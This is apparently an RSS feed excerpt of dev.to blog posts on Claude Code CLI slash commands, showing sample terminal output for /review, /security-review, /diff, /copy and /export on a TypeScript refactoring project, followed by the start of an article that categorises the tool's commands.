       6   const content &lt;span class="o"&gt;=&lt;/span&gt; await fs.readFile&lt;span class="o"&gt;(&lt;/span&gt;path, &lt;span class="s1"&gt;'utf-8'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
       7   &lt;span class="k"&gt;return &lt;/span&gt;JSON.parse&lt;span class="o"&gt;(&lt;/span&gt;content&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
       8 &lt;span class="o"&gt;}&lt;/span&gt;
       9
      10 &lt;span class="nb"&gt;export &lt;/span&gt;async &lt;span class="k"&gt;function &lt;/span&gt;writeJsonFile&amp;lt;T&amp;gt;&lt;span class="o"&gt;(&lt;/span&gt;path: string, data: T&lt;span class="o"&gt;)&lt;/span&gt;: Promise&amp;lt;void&amp;gt; &lt;span class="o"&gt;{&lt;/span&gt;
     … +66 lines &lt;span class="o"&gt;(&lt;/span&gt;ctrl+o to &lt;span class="nb"&gt;expand&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;

...
● The code has been simplified with these key improvements:

  1. Added utility functions &lt;span class="k"&gt;in &lt;/span&gt;src/lib/utils.ts to reduce code duplication
  2. Optimized conversion process with parallel execution using Promise.all
  3. Added filesystem caching to reduce redundant &lt;span class="nb"&gt;stat &lt;/span&gt;calls
  4. Removed unnecessary existence checks &lt;span class="o"&gt;(&lt;/span&gt;TOCTOU anti-patterns&lt;span class="o"&gt;)&lt;/span&gt;
  5. Improved error handling with try-catch blocks
  6. Reduced stringly-typed code with utility functions
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/review&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;When working on a branch with new features, it is advised to check its impact on the project. Two different operations are possible&lt;/p&gt;

&lt;p&gt;If the current branch does not have any comments from its origin, this command launches general code-quality agents, checking the current source code, and identifying potential changes. Here is an example.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Overview

  This commit implements significant code quality and performance improvements across the universal-skill-converter project. The changes focus on reducing code
  duplication, optimizing performance with parallel execution, improving error handling, and maintaining clean code standards.

  Analysis

  ✅ Strengths

  1. Performance Optimization
    - Excellent use of Promise.all&lt;span class="o"&gt;()&lt;/span&gt; to execute steps 5-9 &lt;span class="k"&gt;in &lt;/span&gt;parallel instead of sequentially
    - Added filesystem caching with TTL to reduce redundant &lt;span class="nb"&gt;stat &lt;/span&gt;calls
    - Batched file existence checks with Promise.all&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="k"&gt;in &lt;/span&gt;validator.ts
  2. Code Quality Improvements
    - Created a comprehensive utils.ts module with reusable utilities
    - Reduced code duplication significantly &lt;span class="o"&gt;(&lt;/span&gt;164 additions vs 61 deletions&lt;span class="o"&gt;)&lt;/span&gt;
    - Better error handling with try-catch blocks instead of manual existence checks
  3. Best Practices
    - Eliminated TOCTOU &lt;span class="o"&gt;(&lt;/span&gt;Time-of-Check-to-Time-of-Use&lt;span class="o"&gt;)&lt;/span&gt; anti-patterns
    - Used proper path construction utilities instead of string concatenation
    - Improved error handling consistency across modules

  ⚠️  Potential Issues

  1. Memory Concerns with Cache
  const statCache &lt;span class="o"&gt;=&lt;/span&gt; new Map&amp;lt;string, &lt;span class="o"&gt;{&lt;/span&gt; exists: boolean&lt;span class="p"&gt;;&lt;/span&gt; isDirectory?: boolean&lt;span class="p"&gt;;&lt;/span&gt; timestamp: number &lt;span class="o"&gt;}&amp;gt;()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    - The cache could grow unbounded &lt;span class="k"&gt;if &lt;/span&gt;many different paths are checked
    - Suggestion: Add a max cache size or LRU eviction policy
  2. Cache TTL Hardcoding
  const CACHE_TTL &lt;span class="o"&gt;=&lt;/span&gt; 5000&lt;span class="p"&gt;;&lt;/span&gt; // 5 seconds
    - The 5-second TTL might not be optimal &lt;span class="k"&gt;for &lt;/span&gt;all use cases
    - Suggestion: Make this configurable via environment variable
  3. Error Handling &lt;span class="k"&gt;in &lt;/span&gt;Parallel Operations
    - The parallel Promise.all&lt;span class="o"&gt;()&lt;/span&gt; will fail &lt;span class="k"&gt;if &lt;/span&gt;any single operation fails
    - Suggestion: Consider using Promise.allSettled&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="k"&gt;for &lt;/span&gt;better error isolation
  4. Missing Cleanup &lt;span class="k"&gt;in &lt;/span&gt;Cache
    - clearExpiredCache&lt;span class="o"&gt;()&lt;/span&gt; is called on every &lt;span class="nb"&gt;stat &lt;/span&gt;but doesn&lt;span class="s1"&gt;'t clean the cache efficiently
    - Suggestion: Run cleanup periodically instead of on every call

  🔧 Specific Improvements

  1. Filesystem Module (fs.ts)
    - Good caching implementation, but could be more memory-efficient
    - Consider adding error types for better error handling
  2. Utils Module (utils.ts)
    - Well-organized utilities, but some functions might be overly specific
    - cleanString() and removeExtension() could be more generic
  3. Marker Module (marker.ts)
    - Excellent error handling improvements
    - The try-catch approach is much cleaner than manual existence checks
  4. Validator Module (validator.ts)
    - Good optimization with Promise.all() for file checks
    - However, the cache might cause stale reads if files are modified during validation

  Security Considerations

  - ✅ No security vulnerabilities introduced
  - ✅ Proper error handling doesn'&lt;/span&gt;t leak sensitive information
  - ✅ Safe YAML parsing already implemented &lt;span class="k"&gt;in &lt;/span&gt;previous commits

  Testing Coverage

  - No changes to &lt;span class="nb"&gt;test &lt;/span&gt;files &lt;span class="k"&gt;in &lt;/span&gt;this commit
  - Suggestion: Add unit tests &lt;span class="k"&gt;for &lt;/span&gt;the new utility functions
  - Suggestion: Test cache behavior with edge cases

  Overall Assessment

  This is a well-executed refactoring that significantly improves code quality and performance. The changes follow TypeScript best practices and maintain backward
  compatibility. The only areas needing attention are memory management &lt;span class="k"&gt;in &lt;/span&gt;the cache and potential error isolation &lt;span class="k"&gt;in &lt;/span&gt;parallel operations.

  Recommendation: Merge with minor consideration &lt;span class="k"&gt;for &lt;/span&gt;the suggested improvements.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And If the current branch does not have comments from its origin, it can also access and process them, updating the code to comply. For this, the &lt;code&gt;gh&lt;/code&gt; binary needs to be installed.&lt;/p&gt;

&lt;p&gt;Here is an example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;I&lt;span class="s1"&gt;'ll run gh pr list to see the open PRs and then review them.

● Bash(gh pr list)
  ⎿  12 refactor: improve utility functions to be more generic  feature/optimizations   OPEN    2026-04-25T09:15:26Z

● Now I'&lt;/span&gt;ll review PR &lt;span class="c"&gt;#12.&lt;/span&gt;

● Let me check &lt;span class="k"&gt;if &lt;/span&gt;there are review comments specifically.

● Bash&lt;span class="o"&gt;(&lt;/span&gt;gh api repos/admantium-sg/universal-skill-converter/pulls/12/comments&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  &lt;span class="o"&gt;[&lt;/span&gt;
       &lt;span class="o"&gt;{&lt;/span&gt;
         &lt;span class="s2"&gt;"url"&lt;/span&gt;: &lt;span class="s2"&gt;"https://api.github.com/repos/admantium-sg/universal-skill-converter/pulls/comments/3141750050"&lt;/span&gt;,
     … +62 lines &lt;span class="o"&gt;(&lt;/span&gt;ctrl+o to &lt;span class="nb"&gt;expand&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;

● Perfect! I can see your comments now. You have three specific feedback points:

  1. &lt;span class="s2"&gt;"Increase to 10s."&lt;/span&gt; - About the cache TTL &lt;span class="k"&gt;in &lt;/span&gt;fs.ts
  2. &lt;span class="s2"&gt;"Can you unchain these exit codes?"&lt;/span&gt; - About the chained operations &lt;span class="k"&gt;in &lt;/span&gt;fs.ts
  3. &lt;span class="s2"&gt;"Do not add comments about steps."&lt;/span&gt; - About removing step comments &lt;span class="k"&gt;in &lt;/span&gt;converter.ts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And it will then address these changes.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; Now &lt;span class="nb"&gt;let &lt;/span&gt;me address your feedback:

  1. First, increase the cache TTL to 10 seconds:

● Update&lt;span class="o"&gt;(&lt;/span&gt;src/lib/fs.ts&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Added 1 line, removed 1 line
      3
      4  // Cache &lt;span class="k"&gt;for &lt;/span&gt;file system checks to avoid repeated &lt;span class="nb"&gt;stat &lt;/span&gt;calls
      5  const statCache &lt;span class="o"&gt;=&lt;/span&gt; new Map&amp;lt;string, &lt;span class="o"&gt;{&lt;/span&gt; exists: boolean&lt;span class="p"&gt;;&lt;/span&gt; isDirectory?: boolean&lt;span class="p"&gt;;&lt;/span&gt; timestamp: number &lt;span class="o"&gt;}&amp;gt;()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      6 &lt;span class="nt"&gt;-const&lt;/span&gt; CACHE_TTL &lt;span class="o"&gt;=&lt;/span&gt; 5000&lt;span class="p"&gt;;&lt;/span&gt; // 5 seconds
      6 +const CACHE_TTL &lt;span class="o"&gt;=&lt;/span&gt; 10000&lt;span class="p"&gt;;&lt;/span&gt; // 10 seconds
      7
      8  &lt;span class="k"&gt;function &lt;/span&gt;clearExpiredCache&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
      9    const now &lt;span class="o"&gt;=&lt;/span&gt; Date.now&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

● 2. Next, unchain the &lt;span class="nb"&gt;exit &lt;/span&gt;codes &lt;span class="k"&gt;in &lt;/span&gt;directoryExists and fileExists:

● Update&lt;span class="o"&gt;(&lt;/span&gt;src/lib/fs.ts&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Removed 1 line
      63   &lt;span class="k"&gt;*&lt;/span&gt; Check &lt;span class="k"&gt;if &lt;/span&gt;a directory exists.
      64   &lt;span class="k"&gt;*&lt;/span&gt;/
      65  &lt;span class="nb"&gt;export &lt;/span&gt;async &lt;span class="k"&gt;function &lt;/span&gt;directoryExists&lt;span class="o"&gt;(&lt;/span&gt;path: string&lt;span class="o"&gt;)&lt;/span&gt;: Promise&amp;lt;boolean&amp;gt; &lt;span class="o"&gt;{&lt;/span&gt;
      66 -  clearExpiredCache&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      66    const result &lt;span class="o"&gt;=&lt;/span&gt; await cachedStat&lt;span class="o"&gt;(&lt;/span&gt;path&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      67    &lt;span class="k"&gt;return &lt;/span&gt;result.exists &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; result.isDirectory&lt;span class="p"&gt;;&lt;/span&gt;
      68  &lt;span class="o"&gt;}&lt;/span&gt;

● Update&lt;span class="o"&gt;(&lt;/span&gt;src/lib/fs.ts&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Removed 1 line
      71   &lt;span class="k"&gt;*&lt;/span&gt; Check &lt;span class="k"&gt;if &lt;/span&gt;a file exists.
      72   &lt;span class="k"&gt;*&lt;/span&gt;/
      73  &lt;span class="nb"&gt;export &lt;/span&gt;async &lt;span class="k"&gt;function &lt;/span&gt;fileExists&lt;span class="o"&gt;(&lt;/span&gt;path: string&lt;span class="o"&gt;)&lt;/span&gt;: Promise&amp;lt;boolean&amp;gt; &lt;span class="o"&gt;{&lt;/span&gt;
      74 -  clearExpiredCache&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      74    const result &lt;span class="o"&gt;=&lt;/span&gt; await cachedStat&lt;span class="o"&gt;(&lt;/span&gt;path&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      75    &lt;span class="k"&gt;return &lt;/span&gt;result.exists &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;result.isDirectory&lt;span class="p"&gt;;&lt;/span&gt;
      76  &lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/security-review&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Using LLMs for code generation can add security concerns, scaling with the model’s capabilities to not introduce them in the first place. A thorough review to find and address issues should be done regularly.&lt;/p&gt;

&lt;p&gt;Similar to the other review commands, this one checks the current source code, or if not on the default branch, evaluates potential security issues of the current branch against the default branch. Aspects like validation, potential path-traversal, permissions, and finally general code quality will be checked.&lt;/p&gt;

&lt;p&gt;Here is an example.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Now &lt;span class="nb"&gt;let&lt;/span&gt;&lt;span class="s1"&gt;'s run a security review on the changes compared to main:

● Skill(security)
  ⎿  Initializing…
  ⎿  Error: Unknown skill: security

● Let me check what security issues might be present in the changes by examining the code:

  Read 1 file (ctrl+o to expand)

● Let me check for any potential security vulnerabilities in the utils.ts file:

  Read 1 file (ctrl+o to expand)

● Let me check the validation functions in utils.ts:

  Read 1 file (ctrl+o to expand)

....

● Let me search for the duplicate:

  Searched for 2 patterns (ctrl+o to expand)

● I see the duplicate at lines 66-67. Let me fix it:

● Update(src/lib/converter.ts)
  ⎿  Removed 1 line
      64      ]);
      65
      66      await writeConversionMarker(context.outputDir);
      67 -    await writeConversionMarker(context.outputDir);
      67
      68      return {
      69        success: true,

...
  Security Review Summary

  After reviewing the changes in src/lib/converter.ts, src/lib/fs.ts, and src/lib/utils.ts, here are the security findings:

  ✅ Security Strengths

  1. Path Validation: The code uses sanitizePath() with resolve() and normalize() to prevent directory traversal attacks
  2. Safe YAML Parsing: Uses safe schema for YAML parsing to prevent code injection
  3. Input Validation: Proper validation of required fields and file existence
  4. Error Handling: Errors don'&lt;/span&gt;t leak sensitive information

  ✅ No Critical Security Issues Found

  The changes appear to be secure and follow good security practices:
  - No path traversal vulnerabilities
  - No &lt;span class="nb"&gt;command &lt;/span&gt;injection risks
  - Proper input sanitization
  - Safe file operations
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/diff&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;When working on a source code repository that uses git, this command lists all changed, but not yet committed files.&lt;/p&gt;

&lt;p&gt;Its interface is sophisticated, allowing a vertical navigation that lists the "turns", individual user prompts and how they changed editted files. This allows for a fine-granular view of changes. Additionally, you can also select and commit individual files.&lt;/p&gt;

&lt;p&gt;Here is an example during working on the universal skill converter.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; /diff

───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
  Uncommitted changes &lt;span class="o"&gt;(&lt;/span&gt;git diff HEAD&lt;span class="o"&gt;)&lt;/span&gt;

  Current · T49 · T40 · T39 · T35 · T34 · T33 · T32 · T31 · T30 · T29 · T28 · T12 · T7 ▶

  2 files changed

  ❯ .claude/statusline-command.cjs                                                                              untracked
    2026-04-25-093249-this-session-is-being-continued-from-a-previous-c.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And selecting a turn that modified the README.md.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; Turn 49 &lt;span class="s2"&gt;"Ok. Update REQUIREMENTS.md wi…"&lt;/span&gt;

  ◀ Current · T49 · T40 · T39 · T35 · T34 · T33 · T32 · T31 · T30 · T29 · T28 · T12 · T7 ▶

  1 file changed +94 &lt;span class="nt"&gt;-13&lt;/span&gt;


  ❯ /opt/claude/REQUIREMENTS.md                                                                         +94 &lt;span class="nt"&gt;-13&lt;/span&gt;

  ←/→ &lt;span class="nb"&gt;source&lt;/span&gt; · ↑/↓ &lt;span class="k"&gt;select&lt;/span&gt; · Enter view · Esc close
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/copy&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;A simple command that copies the last system response, not the result of a command, from the CLI terminal to your clipboard.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;❯ /copy
  ⎿  Copied to clipboard &lt;span class="o"&gt;(&lt;/span&gt;65 characters, 3 lines&lt;span class="o"&gt;)&lt;/span&gt;
     Also written to /tmp/claude/response.md

&lt;span class="c"&gt;# Content buffer from the clipboard&lt;/span&gt;
Security Review Summary

  After reviewing the changes &lt;span class="k"&gt;in &lt;/span&gt;src/lib/converter.ts, src/lib/fs.ts, and src/lib/utils.ts, here are the security findings:

  ...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/export&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;After a specifically long session, you can export the complete conversation. The resulting file is a verbose export of user, system, and tool messages.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/export
  ⎿  Conversation exported to: /opt/claude/universal-skill-converter/2026-04-25-093249-optimizations.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A preview into this file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;╭─── Claude Code v2.1.91 ──────────────────────────────────────────────────────╮
│                                           │ Tips &lt;span class="k"&gt;for &lt;/span&gt;getting started         │
│               Welcome back!               │ ✔ Run /init to create a CLAUDE.… │
│                                           │ ──────────────────────────────── │
│                  ▐▛███▜▌                  │ Recent activity                  │
│                 ▝▜█████▛▘                 │ No recent activity               │
│                   ▘▘ ▝▝                   │                                  │
│                                           │                                  │
│    claude-haiku-4.5 · API Usage Billing   │                                  │
│   /opt/claude/universal-skill-converter   │                                  │
╰──────────────────────────────────────────────────────────────────────────────╯

✻ Conversation compacted &lt;span class="o"&gt;(&lt;/span&gt;ctrl+o &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="nb"&gt;history&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;

❯ /compact
  ⎿  Compacted &lt;span class="o"&gt;(&lt;/span&gt;ctrl+o to see full summary&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read src/lib/utils.ts &lt;span class="o"&gt;(&lt;/span&gt;162 lines&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read ../.gitenv &lt;span class="o"&gt;(&lt;/span&gt;4 lines&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read src/lib/validator.ts &lt;span class="o"&gt;(&lt;/span&gt;144 lines&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read src/lib/migrate.ts &lt;span class="o"&gt;(&lt;/span&gt;35 lines&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read src/lib/marker.ts &lt;span class="o"&gt;(&lt;/span&gt;58 lines&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Plan file referenced &lt;span class="o"&gt;(&lt;/span&gt;~/.claude/plans/fluttering-growing-lecun.md&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Skills restored &lt;span class="o"&gt;(&lt;/span&gt;review, simplify&lt;span class="o"&gt;)&lt;/span&gt;

❯ /review

● I&lt;span class="s1"&gt;'ll run gh pr list to see the open PRs and then review them.

● Bash(gh pr list)
  ⎿  12 refactor: improve utility functions to be more generic    
     feature/optimizations    
     OPEN    2026-04-25T09:15:26Z

● Now let me get the diff to review the code changes.

● Bash(gh pr diff 12)
  ⎿  diff --git a/CHANGELOG.md b/CHANGELOG.md
     index e7e6688..d99b9f3 100644
     --- a/CHANGELOG.md
     … +228 lines (ctrl+o to expand)

● Based on the diff, I can see that PR #12 includes several improvements to
  utility functions and optimizations. Let me analyze this thoroughly.
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;The Claude Code CLI offers more than 40 subcommands. In an ongoing blog series, all commands are explored systematically. In this article, conversation ops and terminal configuration was the focus. For conversation ops, you learned a) to rename the current session with a meaningful, rememberable name, b) put Claude into planning mode, detailing complex changes in an editable markdown file, c) checking the code-quality, d) applying a review of an merge request, and optionally pull comments from GitHub, e) applying a complete security review of your code, f) show conversation turns and modified files, g) to copy the last system message to the clipboard, and finally h) exporting the complete conversation. And in the permission's section, you&lt;/p&gt;

</description>
      <category>claude</category>
      <category>claudecode</category>
    </item>
    <item>
      <title>Claude Code CLI: Session &amp; Context Management</title>
      <dc:creator>Sebastian</dc:creator>
      <pubDate>Mon, 29 Jun 2026 05:33:07 +0000</pubDate>
      <link>https://dev.to/admantium/claude-code-cli-session-context-management-546f</link>
      <guid>https://dev.to/admantium/claude-code-cli-session-context-management-546f</guid>
      <description>&lt;p&gt;Claude Code is an agentic tool for code generation. It helps developers to implement new features, analyze and solve bugs, and refactoring of complex code bases. Inside a Claude session, several slash commands are offered. Knowing their functions, and the context in which they are applicable, is essential for using the tool in its full potential.&lt;/p&gt;

&lt;p&gt;In an ongoing blog series, all CLI commands are explored systematically. The focus of this article are commands for session and context management - essential for staying focused in long coding session.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The technical context of this article is &lt;code&gt;claude_code v2.1.91&lt;/code&gt;, published on 2026-04-02. Examples and most CLI commands should work with newer versions too.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;While I'm fascinated by the capabilities of artificial intelligence tools and applications, crafting blog articles remains my personal skill. Every character, number, and symbol in this article was typed manually, with the exception of verbose copies from log messages and screenshots.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This article originally appeared at my blog &lt;a href="https://admantium.com/blog/claude03_session_and_context_management/" rel="noopener noreferrer"&gt;admantium.com&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Claude Code CLI: Slash Command Overview
&lt;/h2&gt;

&lt;p&gt;Once a Claude Code session is started, more than 40 built-in slash-commands are available. They can be grouped into different categories that reflect the session lifecycle of its invocation, augmented by universal commands. Here is my proposed structure:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;✅ Session Configuration&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/add-dir&lt;/code&gt;: Add an additional working directory to the current session&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/rename&lt;/code&gt;: Provide a meaningful name to the conversation, which reflects the variable name of the conversation file&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/model&lt;/code&gt;: Determine the LLM model to be used&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/effort&lt;/code&gt;: Configures the effort level of the model, adjusting its internal reasoning behavior&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/login&lt;/code&gt;: Log in to the Anthropic subscription or Console&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/logout&lt;/code&gt;: Log out of an Anthropic account&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;✅ Session Reflection&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/cost&lt;/code&gt;: Shows the current session cost&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/usage&lt;/code&gt;: Shows token consumption in the context of a subscription plan&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/status&lt;/code&gt;: Shows essential CLI, model, and account information&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/stats&lt;/code&gt;: Shows usage statistics and activity overview&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/config&lt;/code&gt;: General purpose configuration&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/update-config&lt;/code&gt;: Customizations of Claude Code internals&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/export&lt;/code&gt;: Create a compact conversation summary&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/insights&lt;/code&gt;: Generates a detailed report with meta information about the current session&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;🌀 Session Management&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/batch&lt;/code&gt;: Execute a plan file as a parallel running sub-session&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/btw&lt;/code&gt;: Process an additional instruction during a long-running main task&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/loop&lt;/code&gt;: Run a specific prompt periodically&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/tasks&lt;/code&gt;: List all background tasks&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/fork&lt;/code&gt;: Define a staging point in the conversation history from which different branches can be invoked&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/rewind&lt;/code&gt;: Roll back the conversation and optionally code base to an earlier state&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/exit&lt;/code&gt;: Stop the terminal&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/resume&lt;/code&gt;: Continue a session&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;🌀 Context Management&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/clear&lt;/code&gt;: Reset the conversation history&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/compact&lt;/code&gt;: Define a new conversation history entry, limiting the context that is sent to the LLM provider&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/context&lt;/code&gt;: Visualize current context usage as a colored grid&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/memory&lt;/code&gt;: Edit Claude memory files&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Conversation Ops&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/rename&lt;/code&gt;: Provide a meaningful name to the conversation&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/init&lt;/code&gt;: Read the current project and generate a CLAUDE.md file&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/plan&lt;/code&gt;: Toggle between editing and plan mode&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/simplify&lt;/code&gt;: Review the changed code for efficiency&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/review&lt;/code&gt;: Review a merge request and optionally check comments from an origin repo&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/security-review&lt;/code&gt;: Invoke a special agent that checks the source code for security issues&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/diff&lt;/code&gt;: View and commit staged file changes&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/copy&lt;/code&gt;: Copy the last answer to the clipboard&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/export&lt;/code&gt;: Create a compact conversation summary&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Terminal Configuration&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/theme&lt;/code&gt;: Configure the color theme&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/color&lt;/code&gt;: Configure prompt bar color&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/terminal-setup&lt;/code&gt;: Configure key bindings&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/vim&lt;/code&gt;: Enable or disable VIM editor support when editing files via the CLI&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/statusline&lt;/code&gt;: Set up a custom status line for the terminal&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Diagnostics &amp;amp; User Support&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/release-notes&lt;/code&gt;: Show the Claude Code release notes&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/doctor&lt;/code&gt;: Check configuration status&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/debug&lt;/code&gt;: Enable verbose debugging output and check for known issues&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/feedback&lt;/code&gt;: Write feedback about your Claude Code experience&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/help&lt;/code&gt;: Show general information about available slash commands&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/powerup&lt;/code&gt;: Explore Claude Code feature with small lessons&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/stickers&lt;/code&gt;: Order Claude Code stickers&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/buddy&lt;/code&gt;: Hatch a Tamagotchi-like coding companion&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Permissions&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/permissions&lt;/code&gt;: Fine-grained allow &amp;amp; deny tool permission rules&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/sandbox&lt;/code&gt;: Configure settings to secure Claude terminal access and program execution rights&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
